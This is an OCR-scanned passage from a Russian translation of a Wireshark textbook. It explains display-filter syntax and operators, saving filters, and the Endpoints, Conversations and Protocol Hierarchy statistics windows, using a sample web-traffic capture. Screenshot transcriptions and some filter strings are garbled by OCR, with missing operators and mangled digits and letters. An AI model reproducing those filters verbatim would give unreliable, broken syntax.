v 1Pv4 · lnternet. Protocol Version 4 " is present 
ip.addr . Source or Destination Address --
ip.bogus_ip_l•ngth · Exptrt lnfo !:: 

ip.bogus_ip_version · Ехрбt lnfo > 
ip .checksum . Header checksum < 

ip.checksum_bod · B•d >= 
1p .chocksum_bod.щ•rt · Exptrt lnfo <: 

ip.choclcsum_colcul•t•d. C•lcul•ttd Chock." contains 
ip.chocksum_good · Good matches 
ip.cipso.categories · Categories ' 
ip.cipso.doi · DOI 

ip.cipso.maKormtd · Expert lnfo 

ip .cipso.sensitivity_l~el · Sensitivity ltvel 
'lal.Jt (Owacte' strno) 

ip.cipso.tag_data · T•g data 

ip.cipso.tag_typ• · Tag Тур• 1192. 168. 1. 1 

ip.cur_rt . Current Route Prtdtfr>ed Vakles 
ip.cur_rt_host . Current Route Host 

1 

ip.dsfield . Differtntiated Services Field 

ip.dsfield.dscp · Different1oted Services Cod". 

ip.dsfield.ecn · Explicit Congestion Notifica". 

ip.dst · Destination 
ip.dst_host · Dest1nation Host 

io.emotv_rt · Emotv Route " R"'1Qf (ofr.tt:len<Jth) 

Stordl: IIP 

ip.ds! hos!aa "192.168. l.l" 

ок 

Рис. 4. 1 7. В диалоговом окне Display Filter Expression заметно 

упрощается задача создания фильтров в Wireshark 

х 

1 

1 

Слева в данном окне перечислены все доступные поля сетевого протокола, 

где указаны все возможные критерии фильтрации . Чтобы создать фильтр, вы

полните следующие действия. 

1. Щелкните на стрелке рядом с названием сетевого протокола, чтобы 
просмотреть связанные с ним поля критериев. Найдя нужный критерий 

в качестве основания для создания фильтра, щелкните на нем кнопкой 

мыши, чтобы выбрать его. 

2. Выберите порядок сравнения выбранного поля со значением из крите

рия. Такое сравнение обозначается с помощью операции больше, мень

ше, равно и т.д. 



3. Составьте фильтрующее выражение, указав значение из критерия, с 
которым должно сравниваться выбранное поле. Это значение можно 

указать вручную или выбрать из списка значений, предопределенных в 

Wireshark. 

4. Полученный в итоге фильтр появится в нижней части экрана. По завер
шении щелкните на кнопке ОК, чтобы ввести его на панели фильтров. 

Диалоговое окно Display Filter Expression очень удобно для начинающих поль

зователей Wireshark, но, приобретя некоторый опыт составления фильтров, 
вы обнаружите, что вводить фильтрующие выражения вручную намного эф

фективнее. Структура синтаксиса для создания фильтров отображения очень 

проста, хотя и довольно эффективна. 

Структура синтаксиса дпя создания фильтров отображения 

Чем чаще вы станете пользоваться Wireshark, тем больше вам придется 
пользоваться фильтрами отображения непосредственно в главном окне дан

ного приложения ради экономии времени. Правда, синтаксис для создания 

фильтров отображения несложен и придерживается стандартной структуры. 

Зачастую эта структура сосредоточена на сетевых протоколах и следует фор

мату протокол. средство. подчиненное_ средство. В этом нетрудно убедиться, 

глядя на диалоговое окно Display Filter Expression. А теперь рассмотрим ряд при

меров, демонстрирующих порядок построения фильтров отображения. 

Чаще всего фильтры перехвата или отображения применяются для про

смотра пакетов по отдельному сетевому протоколу. Допустим, требуется про

вести диагностику проблемы, возникшей на уровне сетевого протокола ТСР, и 

с этой целью перехватить только сетевой трафик по данному протоколу. Для 

этого вполне подойдет простой фильтр tcp. 
А теперь рассмотрим эту задачу под другим углом зрения. Допустим, что в 

ходе диагностики проблемы на уровне сетевого протокола ТСР довольно ин

тенсивно использовалась утилита Ping, что привело к формированию боль
шого объема сетевого трафика по протоколу ICMP. Чтобы отсеять этот тра
фик из файла перехвата, достаточно применить фильтр expression ! icmp. 

Операции сравнения позволяют сравнивать отдельные значения. Напри

мер, в ходе диагностики сетей, действующих по протоколу ТСР /IP, нередко 
требуется просматривать все пакеты со ссылками на конкретный IР-адрес. 

С помощью операции сравнения на равенство (=) можно создать следующий 
фильтр, отображающий все пакеты с IР-адресом 192 .168. О .1: 

ip.addr==l92.168.0.l 



А теперь допустим, что требуется просмотреть только те пакеты, длина ко

торых не превышает 128 байт. С этой целью можно использовать операцию 
сравнения "меньше или равно" (<=) в следующем фильтре: 

frarne.len<=128 

В табл. 4.4 перечислены все операции сравнения, используемые в фильтру
ющих выражениях, составляемых в Wireshark. 

Табnица 4.4. Операции сравнения, испоn~.эуемые в фиn~.трах Wireshark 

Операция Описание 

- Равно 

!= Не равно 

> Больше 

< Меньше 

>= Больше или равно 

<= Меньше или равно 

Логические операции позволяют объединять несколько фильтрующих вы

ражений в одном операторе. И благодаря этому заметно повышается эффек

тивность применяемых фильтров. 

Допустим, требуется отобразить пакеты только по двум IР-адресам. Чтобы 

составить единое выражение для фильтрации пакетов, содержащих оба IР-а

дреса, можно воспользоваться логической операцией or следующим образом: 

ip.addr==192.168.0.1 or ip.addr==192.168.0.2 

В табл. 4.5 перечислены все логические операции, употребляемые в филь
трующих выражениях, составляемых в Wireshark. 

Табnица 4.5. Лоrические операции, употребnяемые в фиn~.трах Wireshark 

Операция 

and 

or 

xor 

not 

Описание 

Оба задаваемых условия должны быть истинны 

Истинным должно быть хотя бы одно задовоемое условие 

Истинным должно быть одно и только одно задаваемое условие 

Ни одно из задаваемых условий не истинно 

Примерь~ выражений для фильтров отображения 

Несмотря на то что принципы, по которым составляются фильтрующие 

выражения, довольно просты, в процессе создания новых фильтров для ре

шения различных задач приходится употреблять ряд особых ключевых слов 



и операций. В табл. 4.6 приведены некоторые примеры выражений для наи
более употребительных фильтров отображения, а полный их перечень мож

но найти в справочном руководстве по фильтрам отображения, доступном по 

адресу http://www.wireshark.org/docs/dfref/. 

Таблица 4.6. Наиболее употребительные фиnьтры отображения 

Фильтр 

!tcp.port 3389 

tcp.flags.syn=l 

tcp.flags.reset 1 

!arp 

http 

tcp.port 23 11 tcp.port=21 

smtp 1 1 рор 1 1 imap 

Сохранение фильтров 

Описание 

Отсеять сетевой трафик по протоколу RDP 

Отобразить пакеты ТСР с установленным флагом SYN 

Отобразить пакеты ТСР с установленным флагом RST 

Удалить сетевой трафик по протоколу ARP 

Отобразить весь сетевой трафик по протоколу НТТР 

Отобразить сетевой трафик по протоколу Telпet или FTP 

Отобразить сетевой трафик электронной почты (по прото

колу SMTP, РОР или IMAP) 

Начав однажды создавать немалое количество фильтров перехвата и ото

бражения, можно в какой-то момент обнаружить, что некоторые из них при

меняются довольно часто. Правда, их не придется вводить всякий раз, когда 

они потребуются, поскольку в Wireshark предоставляется возможность сохра
нять фильтры для дальнейшего применения. Так, чтобы сохранить специаль

ный фильтр перехвата, выполните следующие действия. 

1. Выберите команду CaptureqCapture Filters (ПерехватqФильтры перехва
та), чтобы открыть диалоговое окно Capture Filter. 

2. Создайте новый фильтр, щелкнув на кнопке со знаком "плюс" (+) в ле-
вой нижней части диалогового окна. 

3. Введите имя нового фильтра в поле Filter Name (Имя фильтра). 

4. Введите фильтрующее выражение в поле Filter String (Строка фильтра). 

5. Щелкните на кнопке ОК, чтобы сохранить фильтрующее выражение. 

А для того чтобы сохранить специальный фильтр отображения, выполни

те приведенные ниже действия. 

1. Введите фильтр на панели Filter, расположенной над панелью Packet List 
в главном окне Wireshark, а затем щелкните на кнопке с зеленой лентой 
на левом краю данной панели. 

2. Выберите команду Save this Filter (Сохранить этот фильтр) из всплыва
ющего меню. В отдельном диалоговом окне будет представлен список 



сохраненных фильтров отображения (рис. 4.18). Здесь можно присвоить 

своему фильтру имя, прежде чем сохранять его, щелкнув на кнопке ОК. 

4. Wiresharl: . Display Filt•rs х 

Ethomot add~• OO:OO:SdJO:SЗ:OO oth"ddr == IXkOO:S.:OO:SHJO 

Eth<mottyp•OxOl!Oб{ARP) oth.tyf• == о.о8О6 
Eth<rnot broocko<t •lh.addr == ff:IHf:ff:ff:ff 
NoARP not arp 
IMonly 1р 

IPY4 address 192.02.1 ip.addr == 192.02.1 

1Pv<l addros< osn1192.02.1 (don't ust != for this1) !(ip.addr == 192.02.1) 

1Pv6 only ipvб 

1Pv6 addrt" 2001:dЬ8::1 1pvб.addr == 2001:dЬ8::1 
IPX only ipx 

ТСР only lcp 

UDP only udp 

Non· DNS !(udp.port == SЗ 11 tcp.port == SЗ) 
ТСР or UDP port is 80 (НТТР) tcp.port == 8011 udp.port == 80 
НТТР http 

No ARP and no DNS not arp and !(udp.port == 53) 

Nоn·НТТР •nd non·SМTP lo/lrom 192.02.1 1p.1ddr == 192.0.Z.1 ond not tc . rt 1n {80 25) 

DNS S-.r i .oddr= = 12.З 

Рис_ 4.18. Фильтры отображения можно сохранять непосред
ственно из главного окна Wireshark 

Помещение фильтров отображения на панель инструментов 

Если у вас имеются фильтры, которыми вы часто пользуетесь, для удобства 

взаимодействия с ними проще всего поместить их метки на упомянутой выше 

панели Filter. Для этого выполните следующие действия. 

1. Введите свой фильтр на панели Filter, расположенной над панелью Packet 

List в главном окне программы Wireshark, а затем щелкните на кнопке со 

знаком "плюс" ( +) справа на данной панели. 

2. Ниже панели Filter появится новая панель, где вы можете указать имя 

своего фильтра в поле Label (Метка; рис. 4.19). Указанная вами метка по

служит для представления фильтра на панели инструментов. Введя мет

ку в данном поле, щелкните на кнопке ОК, чтобы создать метку для бы

строго доступа к вашему фильтру на панели Filter . 

• http_9ooglt.pcop о х 

f~• fcfrt Jl,.,. jio J;aptu"' An•iyz• SUtistics Ttl•phon~ Wir<less Iools tl•lp 

'-. 

Рис. 4. 19. Помещение метки быстрого доступа к фильтру на панель Filter 
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Как показано на рис. 4.20, в данном случае удалось создать метку быстро
го доступа к фильтру для оперативного отображения любых пакетов ТСР с 

установленным флагом RST. Фильтры, помещаемые на панель инструментов, 
сохраняются в файле конфигурации, упоминавшемся в главе 3, "Введение в 
Wiresliark". Тем самым существенно расширяются ваши возможности выяв
лять в самых разных ситуациях затруднения, возникающие в сети на уровне 

пакетов . 

• tcp_r~ust:connl!ction.pcap 

file fdrt Yiew !jo 

f • • <!> 

ll ltg>.!lagщset== l 
No. 

~apturt: A,n.!lyzl! ~tabstics T~l~phon~ rfjr~lбs !ools 

18~ ~ ~..- ~ "[,! ::; - ~<:\.~ll 

о х 

!:!•lp 

Protoa>I L""'lih Info 

2 0.- 192.168.\00 1 192.168.100.138 Т(Р 60 80 - 3372 (RST, АСК) .• 

Рис. 4.20. Фильтрация пакетов с помощью меток быстрого доступа на панели 
инструментов 

В состав Wiresl1ark входит ряд встроенных фильтров, которые служат от
личными примерами для создания собственных фильтров. Воспользуйтесь 

ими вместе со справочными страницами Wiresl1ark при создании собствен
ных фильтров. Мы будем часто пользоваться фильтрами в примерах, демон

стрируемых далее в этой книге. 



ДОПОЛНИТЕЛЬНЫЕ 

ВОЗМОЖНОСТИ WIRESHARK 

Итак, овладев основами приложения Wiresl1ark, можете 
перейти к изучению его дополнительных возможностей 

для анализа пакетов и графического представления полу

чаемых результатов. В этой главе будуг рассмотрены некоторые из подобных 

возможностей и средств, включая окна Endpoints и Conversations, более сложные 

детали процесса преобразования имен, исследование протоколов, интерпре· 

тацию потоков, графическое представление ввода-вывода и многое другое. 

Эти особые возможности Wireshark как графического средства анализа па

кетов окажугся полезными на самых разных стадиях данного процесса. Поэ

тому постарайтесь хотя бы опробовать все рассматриваемые здесь дополни

тельные возможности Wireshark, прежде чем двигаться дальше, поскольку мы 
еще не раз вернемся к ним при рассмотрении примеров практического анали

за пакетов в остальной части этой книги. 

Конечнь1е точки и сетевые диалоги 

Для того чтобы данные передавались 110 сети, они должны перемещаться 

потоком хотя бы между двумя устройствами. Каждое устройство, передающее 

Wiresl1ark 



называется диалогом. Конечные точки и диалоги описываются в Wireshark на 
основании свойств передачи данных и, в частности, с помощью таких поня

тий, как адреса, применяемые в различных сетевых протоколах. 

Конечные точки обозначаются несколькими адресами, которые присваи

ваются им на разных уровнях модели OSI. Например, на канальном уровне ко
нечная точка получает МАС-адрес, который является однозначным адресом, 

встроенным в сетевое устройство, хотя он может быть видоизменен и тогда 

потенциально станет ненужным. А на сетевом уровне конечная точка получа

ет IР-адрес, который может быть изменен в любой момент. О том, как исполь

зуются оба эти типа адресов, речь пойдет в последующих главах. 

На рис. 5.1 приведены два примера применения адресов для обозначения 
конечных точек в сетевых диалогах. В частности, диалог А состоит из двух ко

нечных точек, обменивающихся данными на канальном уровне (по МАС-адре

сам). У конечной точки А имеется МАС-адрес OO:ff:ac:ce:Ob:de, тогда как у 
конечной точки Б - МАС-адрес 00: ff: ас: еО: dc: Of. А диалог Б определяется 
двумя устройствами, обменивающимися данными на сетевом уровне (по IР

адресам). У конечной точки А имеется IР-адрес 192.168.1.25, тогда как у ко
нечной точки Б - IР-адрес 192 .168 .1. 30. Выясним, каким образом в Wireshark 
можно предоставить сведения о передаче данных по сети на основании ко

нечных точек или диалогов. 

-~·-·]~Ю 
Диаnоr А rr====ll ... " _____ ". Qi-"-· 

OO:ff:ac:ce:Ob:de OO:ff:ac:eO:dc:Of 

-"-·]~Ю 
Диаnог Б rr====ll ... " _____ ". g-" ..... 

192.168.1.25 192.168.1.30 

Рис. 5. 1. Конечные точки и диалоги в сети 

Просмотр статистики в конечных точках 

Файл перехвата 

lotsofweЬ.pcapng 

Анализируя сетевой трафик, можно выявить проблему в 

сети вплоть до конкретной конечной точки. В качестве 

примера откройте сначала файл перехвата lotsofweb. 
pcapng, а затем окно Endpoints, выбрав команду StatisticsQEndpoints (Статисти
каQКонечные точки) из главного меню. В этом окне отображается ряд полез-



ных статистических данных по каждой конечной точке, включая адрес, коли

чество переданных и принятых пакетов и байтов, как показано на рис. 5.2. 

~ Wiroshilrlc. Endpoints • lotюfweЬ о х 

ТСР · 358 Elhenot • U JPyq. 95 !Рvб. 5 (.О'• 106 

Addr~ P•ckots Вytos P•ckots А - В Bytesд-B Pockots В - А ВytosB-A latit\Jd< longitud~ " 
о.о.о.о 1 342 1 342 о о. 

4.2.2.1 103 11k 51 1215 52 4151 • 

l 42.2 .2 2 261 1 174 87 . 

423.40.126 451 318k 234 291k 217 26 k • 

8.18.91.65 9 1241 387 6 854 • 

8.18.95.169 18 3328 1321 11 2007 • 

12.120.БЗ.24 1З 4753 3737 7 1016 . 

12.129.199.110 20 5383 3332 12 2051 • 

63215.202.16 7 2069 724 5 1345 • 

64А22Аб 16 10 k 10 9347 1241 . 

64.191.203-30 18 7061 6 2943 12 4118 • 

64.208.21.17 10 2781 5 1295 5 1486. 

64.208.21А3 551 357k 309 280 k 242 17 k • 

65.173.218.96 473 331k 263 ЗOSk 210 25k. 

бб.35А5.201 1,106 807k 596 702 k 510 104k . 

бб.227.17.18 56 12k 28 8577 28 3990 • 

бб.235.142.3 10 2285 853 1432 • 

бб.235. 143.54 16 5217 1573 3644 • 

66235.143.121 10 3234 1490 1744 • 

67.192.232.82 15 8056 6456 н;оо ::_ v 

О Nome re<oiuЬon о Lm!t tDdli:pioytlter lenФaritтypes 

Сору . Мор cJo... t-!ei> 

Рис. 5 .2. В окне Endpoints можно просмотреть статистические донные 

по каждой конечной точке в файле перехвата 

На вкладках (ТСР, Ethernet, 1Pv4, 1Pv6 и UDP), расположенных вверху данно

го окна, отображается количество конечных точек, организованных по от

дельному сетевому протоколу. Чтобы отобразить конечные точки только по 

конкретному протоколу, щелкните на соответствующей вкладке. Чтобы доба

вить дополнительные вкладки для отсеивания конечных точек по отдельным 

протоколам, щелкните на кнопке Endpoint Types (Типы конечных точек) в пра

вом нижнем углу экрана и выберите добавляемый сетевой протокол. Если же 

потребуется преобразование имен для просмотра адресов конечных точек 

(см. далее раздел "Преобразование имен"), установите флажок Name resolution 

слева внизу экрана. А если приходится анализировать крупный перехват и 

требуется отфильтровать отображаемые конечные точки, то можно приме

нить фильтр отображения в главном окне Wiresl1ark и установить флажок Lim
it to display filter (Наложить ограничение с помощью фильтра отображения) в 

окне Endpoints. Если этот флажок установлен, в данном окне будут отображать

ся только те конечные точки, которые соответствуют условию, заданному в 

фильтре отображения . 

В окне Endpoints предоставляется еще одна удобная возможность отсеивать 

отдельные пакеты ;~ля отображения на панели Packet List. Это быстрый способ 
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углубленного анализа пакетов в отдельной конечной точке. С этой целью щел· 

кните правой кнопкой мыши на конечной точке, чтобы выбрать имеющиеся 

варианты фильтрации. В открывшемся диалоговом окне вам представится 

возможность показать или скрыть пакеты, связанные с выбранной конечной 

точкой. Здесь же можно выбрать вариант Colorize (Выделить цветом), чтобы 
экспортировать адрес конечной точки непосредственно в правило выделения 

цветом (о правилах выделения цветом см. в главе 3, "Введение в Wireshark"). 
Таким образом, можно быстро выделить пакеты, связанные с отдельными ко

нечными точками, чтобы оперативно находить их во время анализа. 

Просмотр сетевых диалогов 

Файл перехвата 

lotsofweЬ.pcapng 

Если файл перехвата lotsofweb. pcapng все еще открыт, 
откройте окно Conversations, выбрав команду StatisticsQCon
versations (СтатистикаQ Диалоги) из главного меню, что· 

бы отобразить все диалоги из данного файла перехвата, как показано на 

рис. 5.3. Окно Conversations аналогично окну Endpoints, но в нем отображаются 
по два адреса в каждой строке, чтобы представить сетевой диалог, а также па· 

кеты и байты, передаваемые и принимаемые каждым устройством. В столбце 

Address А указывается конечная точка отправителя пакетов, а в столб· 

це Address В - конечная точка получателя. 

~ \Y1r6h•rk · Convt:rsat1on!> · lotsofweb о х 

Eth<met · 13 IPv• . 103 1Pv6 •• ТСР · 279 LIOf>. 93 

! Address д дddr~s в P•ckets Byt" Pllckets А - В BytosA-8 Packets В - А Вуtб В - А Rrl St&rt Duration BiU/sA-B Bits/sB-A " 
о.о.о.о 255.255.255.255 1 342 342 о о 82.137333000 0.000000 N/A N/A 
4.2.2.1 172.16.16.128 16 2101 1433 668 3.009402000 36237044 316 147 

1<1.2.2.1 172.16.16.197 61 бб99 30 4206 31 2493 16.331275000 58А85202 S75 341 
4.2.2.1 172.16.16.136 26 2626 13 1636 13 990 27.106391000 33.336085 386 234 
4.2.2.2 172.16.16197 2 261 1 174 87 23.098007000 0.023047 бОk 30k 
4.23.40.126 172.16.16.197 451 318k 234 291k 217 26 k 73.085870000 13.245934 176 k 16k 
8.18.91 .65 172.16.16.128 9 1241 387 854 3.243355000 б3.289071i 48 107 
8.18.95.169 172.16.16.197 18 3328 1321 11 2007 17.862227000 56.918573 185 282 
12.120.63.24 171.16.16128 13 4713 3737 7 1016 8.836392000 69.578042 429 116 
12.129.199.110 171.16.16.197 20 1383 3332 12 2051 74.8()6613000 11.141974 2309 1421 
63.215.202.16 171.16.16.128 7 2069 724 1345 б.684 1 63000 61.63Q220 93 174 
64.4.22.46 171.16.16.128 16 10k 10 9347 1241 б.681906000 12.392572 6033 801 
64,191.203.30 171.16.16.136 18 7\)61 6 2943 12 4118 60.393104000 3.о\4116 7708 10k 
64.208.21 . 17 171.16.16.128 10 2781 1 1295 1486 8.800115000 0.232S60 44 k llk 
64.208.21 .43 172. 16.16 128 151 3\7k 309 280k 242 77k 6.085472000 72.329769 31 k 8523 

\61.173.218.96 \72. 16.16. 136 473 Шk 263 305k 210 25 k 59.432328000 27.290208 89 k 7497 
6635.45.201 172.16.16.136 1,106 807 k 596 702 k 510 104k 10.30б33WJO 83.442116 67k 10k 

/ бб.227. 17.1 8 172.16.16.197 56 12 k 28 8577 28 3990 17.882206000 50.526114 1358 631 
66.235.142.3 172.16.16.197 10 2281 853 6 1432 17.860779000 0.245516 27k 4бk 

66.23\. 1'3.54 17216.16.128 16 1217 1173 3644 4.475410000 15.134210 831 1926 
.~~3\. 143 . 121 172. 16.16. 197 10 3234 1490 1744 73.279308000 9.893837 1204 1410 ~ 1 

0Nomereюlution о t..mt to llsoloY fiter 

""" 
Рис. 5.3. В окне Conversations можно выделить каждый сетевой диалог из файла 
перехвата 



Окно Conversations организовано по отдельным протоколам. Чтобы просмо

треть сетевые диалоги по отдельному протоколу, щелкните на соответствую

щей вкладке у верхнего края данного окна или введите другие типы сетевых 

протоколов, щелкнув на кнопке Conversation Types справа внизу. Как и в окне 

Endpoints, здесь можно воспользоваться преобразованием имен, наложить 

ограничение на показываемые сетевые диалоги с помощью фильтра отобра

жения, а также щелкнуть правой кнопкой мыши на отдельном диалоге, чтобы 

создать фильтры на основании конкретных диалогов. Фильтры, основанные 

на сетевых диалогах, удобны для углубленного анализа последовательностей 

обмена данными по сети, которые представляют особый интерес. 

Выявление наиболее активнь1х сетевых узлов 

с помощью конечных точек и диалоrов 

Файл перехвата 

lotsofweЬ.pcapng 

Окнами Endpoints и Conversations удобно пользоваться при 

диагностике сети и особенно при попытке найти источ

ник значительного объема сетевого трафика. Обратимся 

снова за примером к файлу перехвата lotsofweb. pcapng. Как подразумевает 
имя этого файла, он содержит сетевой трафик, формируемый по протоколу 

НТТР многими клиентами, просматривающими веб-сайты в Интернете. 

На рис. 5.4 приведен список конечных точек из этого файла, отсортирован-
ных по количеству байтов. 

Wireshark · Endpo1nts · lotsofweb о х 

!PV4 · 95 Ethemet · 12 !Pv6 • 5 ТСР • 358 l.IOP • 106 

Address Packets Bytes Packets А - В Bytes А - В Packets В - А Bytes В - А Latitude Longitude ~ 
172.16.16.128 8.324 7387k 2790 S07k 5534 б879k - 1 
74.125.103.163 3,927 4232 k 2882 4173 k 1045 58 k -
1n.16.16.136 2.349 145Sk 1137 213 k 1212 1241 k -

172.16.16.197 2.157 1073 k 1107 221 k 1050 851 k -
66.35.45.201 1, 106 807k 596 702 k 510 104 k -
74.125.103.147 608 f>ЗЗk 435 б20k 173 12k -

74.125.166.28 382 553 Шk 
, 14.125.95.149 
64.208.21.43 
65.173.218.96 

·4.23.40.126 
209.85.225.165 
205.203.140.65 

1
204 .. 160.126.126 
204.160.104.126 
72.32.92.4 

О Nome re<Wtlcn 

543 
551 
473 
451 
294 
363 
449 

327 
387 

409 k 
357 k 
331k 
318 k 
292k 
251 k 
18Sk 
149k 

130 k 

336 
309 
263 
234 
211 
235 
206 
166 

190 

0 Lmt ID cispl•y filter 

519 k 171 13 k -
36Sk 207 43k -
280k 242 Пk -
ЗOSk 210 25 k -
291 k 217 26 k -
282 k 83 10k -
179k 128 72 k -
118 k 243 66k -

8Sk 161 б4k -
97k 197 32 k -

Сору . Мо1> 

.., 

~tTY\)6 

Close н.1р 

Рис. 5.4. В окне Endpoints показывается, какие сетевые узлы обменива
ются данными больше всего 



Обратите внимание на конечную точку. находящуюся 110 адресу 

172 .16 . 16 .128 и служащую причиной самою интенсивного (в байтах) сетево· 
го трафика. Адрес этой конечной точки является внутренним сетевым адре· 

сом, как поясняется в главе 7, "Протоколы сетевого уровня", а устройство, 
вызвавшее самый интенсивный обмен данными в перехваченном трафике, 

называется наиболее активным сетевым узлом (top talker). 

Вторая по интенсивности сетевого трафика конечная точка находится по 

адресу 74.125.103.163, который является внешним (межсетевым) адресом. 
Если встретится внешний адрес, чтобы выяснить его сетевой узел, можно 

обратиться к базе данных WHOIS в поисках зарегистрированного владельца. 
В данном случае из реестра Aшerican Registry for lвternet Nuшbers (ARIN -
Американский регистратор интернет-адресов; https: //whois. arin. net / ui / ) 
выявится, что рассматриваемым здесь IР·адресом владеет компания Google 
(рис. 5.5). 

NetRю;ie 

CIOR 

Name 

нande 

Parent 

Netтype 

OnginAS 

Org;Qzafion 

ReQ1stratJon Date 

Last Updated 

Comments 

RESTU Unk 

SeeAJso 

SeeAlso 

74 125 о о. 74125.255.255 

74125 о G/16 

GOOGLE 

NЕТ-74-125-(Н).1 

NЕТ7 4 (f'!П:?.+-9:0:0:0) 

Dlrect Allocation 

Google lnc (§9.Qp 

2007-03-13 

2012-02-24 

!1!!P.>J.~~-1!!Q~-~~~t:!EI:Ш~§:0:0:.1 

~~_oi:9'1.!:!~<1,1i-~:s __ P.__Q<:; __ ~~oi:~. 

Рис. 5.5. Результаты поиска s реестре службы WHO/S по 
/Р-одресу 74 .125 .103 .163 указывают но то, что он принад
лежит компании Google 

Принимая во внимание эту информацию, можно предположить одно 

из двух: конечные точки, находящиеся по адресам 172 .16 .16 .128 и 74. 
125 .103 .163, обмениваются большими массивами данных по сети с многи
ми другими устройствами или же между собой. В действительности конеч

ные точки, как правило, обмениваются данными между собой, что весьма 

характерно для самых активных пар конечных точек в сети. Чтобы убедить

ся в этом , откройте окно Conversations, выберите вкладку 1Pv4 и отсортируйте 



ВЫЯВЛЕНИЕ ВЛАЛЕЛЬUЕВ IР-АЛРЕСОВ СРЕЛСТВАМИ WHOIS 

Присваиванием IР-алресов занимаются разные органы в зависимости от их гео

графического местоположения. В частности, ARIN отвечает за присваивание IР-алре
сов в Соелиненных Штатах и соселних регионах , AfriNIC - на территории Африки, 

RIPE - в Европе, тогла как APNIC - Азии и Тихоокеанском регионе. Как правило, 

выявление влалельuа конкретного IР-алреса срелствами WHOIS осушествляется на 
веб-сайте регистратора, отвечаюшего за этот IР-алрес. Разумеется , гляля на IР-алрес, 

трулно выяснить, какой региональный регистратор отвечает за него . Эту нелегкую 

залачу берут за себя веб-сайты вроле Robtex (http: //robtex.com/), лелая запрос в 

соответствуюший реестр и прелоставляя полученные результаты. Но лаже если вы 

обратитесь к неверному регистратору, вас все равно перенаправят к верному реги

стратору. 

список по количеству байтов. В итоге вы должны увидеть, что рассматрива

емые здесь две конечные точки образуют диалог с наибольшим количество 

переданных байтов. Сам характер передачи данных предполагает крупную 

загрузку, поскольку количество байтов, передаваемых из конечной точки с 

внешним адресом А (74.125.103.163), оказывается намного больше, чем ко

личество байтов, передаваемых из конечной точки с внутренним адресом В 

(172 .16 .16 .128), как показано на рис. 5.6. 

1/1. Wirбhark · Conv•rsat1ons · lotsofweb о х 

Ethomet · 13 !Pv4 . 103 ll'llб • 4 ТСР • Z79 1.ЮР • 93 
v 

AddressA Addross В Pockots Bytos PockotsA - В BytosA-B Pockots В - А Вytos В - А R•I St•rt Duration " 

74.125.103.163 Ш.16.16.128 3,927 4232k 2882 4173 k 1045 58 k 39.247091000 54.307799 

66.35.45.201 172.16.16.136 1,106 ООН 596 702k 510 104 k 10.306330000 83М2116 

74.125.103.147 172.16.16.128 юз 63Зk 435 620k 173 12 k 9.966132000 7.539890 

74.125.166.28 Ш. 16. 16.128 553 532k 382 519k 171 13 k 3.242850000 38.430937 

64.208.21 .43 172.16.16.128 551 357 k 309 280 k 242 п k 6.085472000 72.329769 

65.173.218.96 172.16.16.136 473 331 k 263 305k 210 25k 59.432328000 27290208 

74.125.95.149 172.16.16.128 415 З2Зk 271 289 k 144 33 k 3.243592000 80.884280 

4.23.40.126 172.16.16.197 451 318 k 234 291 k 217 26 k 73.085870000 13.245934 

172.16.16.128 209.85.225.165 274 288 k 71 8345 203 280 k 4.385288000 48.369102 

172.16.16.128 205.203.140.65 363 2.51k 128 72k 235 179 k 1.709231000 76.713264 

172.16.16.197 204.160.126. 126 449 185k 243 66k 206 118 k 16.497808000 69.835435 

172.16.16.128 204.160.104. 126 327 149 k 161 64 k 166 85k 3.317446000 11 .191162 

72.32.92.4 172.16.16.136 387 130k 190 97k 197 32 k 14.245523000 36.732188 " 

< 
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Рис. 5.6. Информация в окне Conversations подтверждает, что два наиболее 
активных сетевых узла обмениваются данными друг с другом 
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Этот сетевой диалог можно исследовать отдельно, применив следующий 

фильтр отображения: 

ip.addr == 74.125.103.163 && ip.addr == 172.16.16.128 

Прокрутив список пакетов, можно обнаружить несколько ВNS-запросов 

к домену youtube. сот в столбце Info на панели Packet List. Это вполне согла

суется с представленными ранее выводами о том, что владельцем IР-адреса 

74 .125 .103 .163 является компания Google, поскольку ей принадлежит компа
ния YouTube. О том, как пользоваться окнами Endpoints и Conversations в конкрет

ных сценариях анализа пакетов, речь пойдет в остальных главах этой книги. 

Статистические данные по иерархии 

сетевых протоколов 

Файл перехвата 

lotsofweЬ.pcapnq 

Когда приходится иметь дело с незнакомыми файлами 

перехвата, иногда требуется выяснить распределение се

тевого трафика по отдельным протоколам, т.е. ту долю в 

процентах, которая приходится на протокол ТСР, IP, DHCP и т.д. в перехва
ченном трафике. Вместо того чтобы подсчитывать пакеты и подытоживать 

результаты вручную, эти сведения можно получить автоматически в Wiresl1ark, 
открыв окно Protocol Hierarchy Statistics (Статистические данные по иерархии 

протоколов). 

Так, если файл перехвата lotsofweb. pcapng все еще открыт, а любые при

менявшиеся ранее фильтры удалены, откройте окно Protocol Hierarchy Statistics 

(рис. 5. 7), выбрав команду Statistics~Protocol Hierarchy из главного меню. 

В окне Protocol Hierarchy Statistics предоставляется моментальный снимок того 
вида деятельности, который происходит в сети. Как следует из рис. 5. 7, доля 
100% приходится на сетевой трафик по протоколу Etliernet, 99,7% - натра

фик по протоколу 1Pv4, 98% - на трафик по протоколу ТСР и 13,5% - натра

фик по протоколу НТТР, с помощью которого просматриваются веб-страни

цы в Интернете. Эти сведения служат отличным подспорьем для оценивания 

загрузки сети, особенно если имеется ясное представление о том, как обычно 

выглядит трафик в данной сети. Так, если заранее известно, что 10% сетевого 
трафика обычно приходится на протокол ARP, то из недавнего перехвата сле
дует, что эта доля составляет 50%, это означает, что в сети что-то может быть 
неладно. Иногда само наличие пакетов некоторого протокола в сетевом тра

фике может представлять интерес. Так, если в сети отсутствуют устройства, 

настроенные на применение протокола STP (Spanniпg Tree Protocol - прото

кол связующего дерева), то его появление в иерархии сетевых протоколов мо

жет означать, что соответствующие устройства настроены неверно. 



• Wir~an: · Protocol H1er1rchy Stahsttcs · lotso~b о х 

' Protoc°' PerccntPкkm Pкkcts Percent Вуt~ Вytes Brt:s/s End P1ckds End Bytes End 81U/s 

.., fr"me 100.0 12899 100.0 9931436 847k о о 

v Ethernd 100.0 12899 100.О 9931436 847k о 

v !ntemet Protocol Version 6 0.2 32 0.1 5020 42В 

" User D1t1gr1m Protocol 02 32 0.1 5020 426 

l1nk·local MufttCмt Name Rf:Solut1on 02 28 о.о 2408 lO'i 28 2408 lO'i 

DHCPvб о.о о.о 308 2б 308 26 

о ... о.о о.о 2.304 196 2.304 196 

v lnte-nd Protocol Version 4 99.7 12861 99.9 9926164 847 k 

v USб Dlt.!i9r1m Protocol 1.7 214 0.3 28932 2466 
